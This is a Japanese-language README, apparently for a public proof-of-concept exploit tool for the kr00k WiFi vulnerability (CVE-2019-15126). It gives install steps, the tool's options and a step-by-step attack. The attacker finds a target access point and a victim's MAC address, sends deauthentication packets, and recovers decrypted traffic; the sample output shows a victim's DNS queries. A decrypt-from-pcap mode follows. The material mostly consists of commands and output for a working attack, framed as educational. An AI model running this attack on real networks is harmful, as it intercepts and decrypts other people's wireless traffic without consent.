hexway/r00kie-kr00kieCVE-2019-15126 kr00k脆弱性のPoC exploit
これは CVE-2019-15126 kr00k 脆弱性の PoC エクスプロイトです。
このプロジェクトは教育目的のみを意図しており、法律違反や個人的な利益のために使用することはできません。
このプロジェクトの作者は、素材によって引き起こされる可能性のあるいかなる損害についても責任を負いません。
これらのスクリプトを使用するには、フレームインジェクションをサポートするアクティブモニターモード対応のWiFiカードが必要です。コードの開発とテストに使用した Atheros AR9280 チップ（IEEE 802.11n）を推奨します。 この PoC は Kali Linux でテストしています。
# メインリポジトリをクローン
git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie
# 依存関係をインストール
sudo pip3 install -r requirements.txt
これは kr00k 攻撃を実装するメインのエクスプロイトファイルです。
->~:python3 r00kie-kr00kie.py -h
usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID]
[-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY]
[-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q]
PoC of CVE-2019-15126 kr00k vulnerability
optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Set wireless interface name for listen packets
-l CHANNEL, --channel CHANNEL
Set channel for wireless interface (default: 1)
-b BSSID, --bssid BSSID
Set WiFi AP BSSID (example: "01:23:45:67:89:0a")
-c CLIENT, --client CLIENT
Set WiFi client MAC address (example:
"01:23:45:67:89:0b")
-n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER
Set number of deauth packets for one iteration
(default: 5)
-d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY
Set delay between sending deauth packets (default: 5)
-p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ
Set path to PCAP file for read encrypted packets
-r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT
Set path to PCAP file for write decrypted packets
-q, --quiet Minimal output
攻撃を開始するには、アクセスポイントの bssid、その チャンネル、および被害者の MACアドレス を知る必要があります。
これらは airodump-ng wlan0 ユーティリティを使用して見つけることができます。
エクスプロイトを実行:
->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/
[!] Kill processes that prevent monitor mode!
[*] Wireless interface: wlan0 already in mode monitor
[*] Set channel: 11 on wireless interface: wlan0
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30074
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce1
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0xa649
###[ DNS ]###
id = 55281
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30075
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce0
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0x104b
###[ DNS ]###
id = 28117
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = AAAA
| qclass = IN
an = None
ns = None
ar = None
また、kr00t 攻撃後にトラフィック（pcapファイル）を既に傍受している場合は、復号化できます:
->~:python3 r00kie-kr00kie.py -p encrypted_packets.pcap
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/